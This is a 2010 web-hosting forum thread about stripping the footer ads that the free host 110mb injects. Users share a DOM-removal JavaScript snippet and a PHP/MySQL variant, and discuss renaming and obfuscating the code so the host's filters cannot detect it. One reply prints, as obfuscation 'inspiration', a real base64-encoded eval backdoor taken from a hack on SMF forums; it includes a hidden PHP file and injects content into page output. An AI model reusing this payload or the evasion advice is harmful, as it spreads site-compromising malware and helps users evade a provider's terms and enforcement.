September 06, 2010, 05:01:08 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Welcome to The Host Helpers! | Second free utility will should be available in the next 240 hours.
Advanced search
Pages: [1]
Print
Author Topic: How to remove the footer ad on 110mb  (Read 308 times)
Primefalcon
Hero Member
*****
Posts: 1236



View Profile WWW
« on: July 22, 2010, 12:32:58 AM »

add this script into the header section of your html

note: this is a slightly customized script of one I found online, and I mostly used it back when Andre owned 110mb, but it'd work currently if they still do footer ads

Code:
<script type="text/javascript">
        window.onload=function()
        {
        var body=document.getElementsByTagName('body')[0];
        var found=false;
        var cur=0;
        for(var i=0; i<body.childNodes.length; i++)
        {
            if(body.childNodes[i].id=='last')
            {
                cur=i;
                found=true;
            }
            else if(found && i>cur+1)
            {
                body.removeChild(body.childNodes[i]);
            }}}</script>

then right before you close your body add a special div like so
Code:
<div id="last"></div>

here's an example of said page removing the footer

Code:
<html>
    <head>
        <title>Testing</title>
        <script type="text/javascript">
        window.onload=function()
        {
        var body=document.getElementsByTagName('body')[0];
        var found=false;
        var cur=0;
        for(var i=0; i<body.childNodes.length; i++)
        {
            if(body.childNodes[i].id=='last')
            {
                cur=i;
                found=true;
            }
            else if(found && i>cur+1)
            {
                body.removeChild(body.childNodes[i]);
            }}}</script>
    </head>
    <body spellcheck="false">
        <p>Just a temp page</p>

        <div id="last"></div>
    </body>
</html>

enjoy
« Last Edit: July 22, 2010, 05:11:19 AM by Primefalcon » Logged

Dropbox is a great cloud solution, get 2.25G of space by CLICKING HERE, Rather than 2G otherwise. Sync files between multiple computers over the web and even share folders with your friends!
gamerz300
Hero Member
*****
Posts: 851


Find me if you can >:)


View Profile
« Reply #1 on: July 22, 2010, 01:46:35 AM »

and by doing so your chances of the account being banned increase 10 whole Cheesy
but no matter
Logged



Clicky Smiley ^^^

Primefalcon
Hero Member
*****
Posts: 1236



View Profile WWW
« Reply #2 on: July 22, 2010, 01:56:09 AM »

and by doing so your chances of the account being banned increase 10 whole Cheesy
but no matter
I have had an account running that code for the past year without a problem, most of it is just basic javascript so couldn't be filtered, all you'd have to do to throw it off is to customise the name of the div id to whatever you want here:

if(body.childNodes.id=='last') //can change last to whatever

and match the change here
<div id="last"></div>

and there's no way they could detect it since they'd be getting back a thousound and one responses that is legit
« Last Edit: July 22, 2010, 01:57:40 AM by Primefalcon » Logged

Dropbox is a great cloud solution, get 2.25G of space by CLICKING HERE, Rather than 2G otherwise. Sync files between multiple computers over the web and even share folders with your friends!
inportb
Sr. Member
****
Posts: 281


View Profile WWW
« Reply #3 on: July 22, 2010, 11:17:14 AM »

and by doing so your chances of the account being banned increase 10 whole Cheesy
but no matter

Especially since it's been posted for public consumption Wink
Logged
Primefalcon
Hero Member
*****
Posts: 1236



View Profile WWW
« Reply #4 on: July 22, 2010, 06:03:45 PM »

and by doing so your chances of the account being banned increase 10 whole Cheesy
but no matter

Especially since it's been posted for public consumption Wink
Still though what would you filter, that would pick up a ton of instances of ordinary JavaScript
Logged

Dropbox is a great cloud solution, get 2.25G of space by CLICKING HERE, Rather than 2G otherwise. Sync files between multiple computers over the web and even share folders with your friends!
kriššyafc
Sr. Member
****
Posts: 463



View Profile WWW
« Reply #5 on: July 22, 2010, 09:32:25 PM »

There's also nothing on the TOS saying you cannot bypass the footer Smiley
Logged

gamerz300
Hero Member
*****
Posts: 851


Find me if you can >:)


View Profile
« Reply #6 on: July 24, 2010, 03:33:31 AM »

There's also nothing on the TOS saying you cannot bypass the footer Smiley
Cool

Too late lol

Dont say such things... as then they would/could quickly change the TOS...

btw idk if they really changed it just making a point Tongue
Logged



Clicky Smiley ^^^

gamerz300
Hero Member
*****
Posts: 851


Find me if you can >:)


View Profile
« Reply #7 on: July 26, 2010, 12:51:30 AM »

hehe according to this topic it is against the TOS (like i worry about it lol)
http://www.110mb.com/forum/piotr-grd-t54442.0.html;msg456932#msg456932

there is one other way he has failed to say...
SQL Cheesy
since you can insert HTML into SQL and display it as html usable code it would be 100% untraceable except the obvious $item poop lol esp if the SQL DB is out of their reach...

Like so:

Page:
Code:
<?php
$dbname
='omgtest';
$dbpass='';
$dbuser='root';
$dbhost='localhost'//99% of the time this remains same
$conn=mysql_connect($dbhost,$dbuser,$dbpass) or die('Error connecting to DB');
mysql_select_db($dbname) or die('Database cannot be selected');

$result mysql_query("SELECT * FROM test");
while (
$row3 mysql_fetch_array($resultMYSQL_ASSOC)) 
{
echo 
''.$row3["HAHAHA"].'';
}
mysql_free_result($result);


?>


SQL:
Code:
-- phpMyAdmin SQL Dump
-- version 3.2.4
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Jul 26, 2010 at 12:45 AM
-- Server version: 5.1.41
-- PHP Version: 5.3.1

SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `omgtest`
--

-- --------------------------------------------------------

--
-- Table structure for table `test`
--

CREATE TABLE IF NOT EXISTS `test` (
  `No` int(11) NOT NULL AUTO_INCREMENT,
  `HAHAHA` varchar(10000) NOT NULL,
  PRIMARY KEY (`No`),
  UNIQUE KEY `No` (`No`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `test`
--

INSERT INTO `test` (`No`, `HAHAHA`) VALUES
(1, '<html>     <head>         <title>Testing</title>         <script type="text/javascript">         window.onload=function()         {         var body=document.getElementsByTagName(''body'')[0];         var found=false;         var cur=0;         for(var i=0; i<body.childNodes.length; i++)         {             if(body.childNodes[i].id==''last'')             {                 cur=i;                 found=true;             }             else if(found && i>cur+1)             {                 body.removeChild(body.childNodes[i]);             }}}</script>     </head>     <body spellcheck="false">         <p>Just a temp page</p>          <div id="last"></div>     </body> </html>');

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;


They cant ban you out of speculation can they Tongue

tell you the truth you dont need the '' on either side in the echo i just C&Ped some of my code Tongue
you can also split the first 2 parts into 2 or more files if you want to mess with them.

Can also spread you code across various DBs sites and pages on or off their host lol infinite fun Cheesy

Edit if you want a nice look try a different sql field or the br php function too lazy to find out which.
Logged



Clicky Smiley ^^^

Primefalcon
Hero Member
*****
Posts: 1236



View Profile WWW
« Reply #8 on: July 26, 2010, 02:44:18 AM »

Not bad... and I'd like them to try and filter for that....

The thing is all you have to do is change div names and variables and whatnot in whatever script you use, maybe rearrange or obfuscate some of it, base64 anyone?, and good luck to any filters.

This is a hack that was used against some smf forums I was using a while back, and it's a definite inspiration on how to obfuscate.

Code:
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9jb250ZW50L20vZS90L21ldGFjb25jZXJ0L2h0bWwvc2l0ZV9kdWVsaW5kZWFscy9kaXNjdXNzaW9ucy9zaXRldG9zYXZlL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvcGx1Z2lucy9pbmxpbmVwb3B1cHMvc2tpbnMvY2xlYXJsb29rczIvaW1nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9jb250ZW50L20vZS90L21ldGFjb25jZXJ0L2h0bWwvc2l0ZV9kdWVsaW5kZWFscy9kaXNjdXNzaW9ucy9zaXRldG9zYXZlL3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvcGx1Z2lucy9pbmxpbmVwb3B1cHMvc2tpbnMvY2xlYXJsb29rczIvaW1nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkZCl7JGY9b3JkKHN1YnN0cigkZCwzLDEpKTskaD0xMDskZT0wO2lmKCRmJjQpeyRlPXVucGFjaygndicsc3Vic3RyKCRkLDEwLDIpKTskZT0kZVsxXTskaCs9MiskZTt9aWYoJGYmOCl7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYmMTYpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjIpeyRoKz0yO30kdT1nemluZmxhdGUoc3Vic3RyKCRkLCRoKSk7aWYoJHU9PT1GQUxTRSl7JHU9JGQ7fXJldHVybiAkdTt9fWZ1bmN0aW9uIGRnb2JoKCRiKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskYz1nemRlY29kZSgkYik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJGMpKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkYyk7fWVsc2V7cmV0dXJuIGdtbCgpLiRjO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
« Last Edit: July 26, 2010, 02:46:57 AM by Primefalcon » Logged

Dropbox is a great cloud solution, get 2.25G of space by CLICKING HERE, Rather than 2G otherwise. Sync files between multiple computers over the web and even share folders with your friends!
Brad
Why don't you take a seat..
Global Moderator
Hero Member
*****
Posts: 1178



View Profile WWW
« Reply #9 on: July 26, 2010, 07:47:47 AM »

Although what if they had a crawler to pwn the content of the sites? The MySQL idea would not fix that, merely hide it from sourcecode viewers.
Logged

Regards, Brad

Masturbation. Taking matters into your own hands.

gamerz300
Hero Member
*****
Posts: 851


Find me if you can >:)


View Profile
« Reply #10 on: July 27, 2010, 10:47:48 PM »

true but aint there a way of breaking everything? cant you make it so your code is encrypted Cheesy

oh side note his forum hi 5 more looks like a erectile dysfunctional penis any one thinking what im thinking here?






hmm hmm hmm

*Looks Away*
Logged



Clicky Smiley ^^^

Piotr GRD
Full Member
***
Posts: 105



View Profile WWW
« Reply #11 on: August 05, 2010, 10:42:56 AM »

There's also nothing on the TOS saying you cannot bypass the footer Smiley
Cool

Too late lol

Dont say such things... as then they would/could quickly change the TOS...

btw idk if they really changed it just making a point Tongue


Since August 2nd - there is such thing in there.

With also some other TOS changes, removing "Andre specific language" (like infested-muffified-sheeps, raped hard drives, sewage holes etc.), changing "don't, you're" into "do not, you are". Typos are still there.

And I've said about this as the first one. When Jonathan wrote about "those of you who have been cheating the system all these years and hiding the footer links with CSS" I've replied that "no-one cheated the system as there was no any rule, not even a single word anywhere that the link can not be hidden". He did take my point and obviously made a note on his "to-do list" about making such statement. So I'm not sure if above Krissy's post made a difference.

« Last Edit: August 05, 2010, 10:59:26 AM by Piotr GRD » Logged
Pages: [1]
Print
Jump to:  

Black Rain by Crip Powered by SMF 1.1.11 | SMF © 2006-2009, Simple Machines LLC XHTML | CSS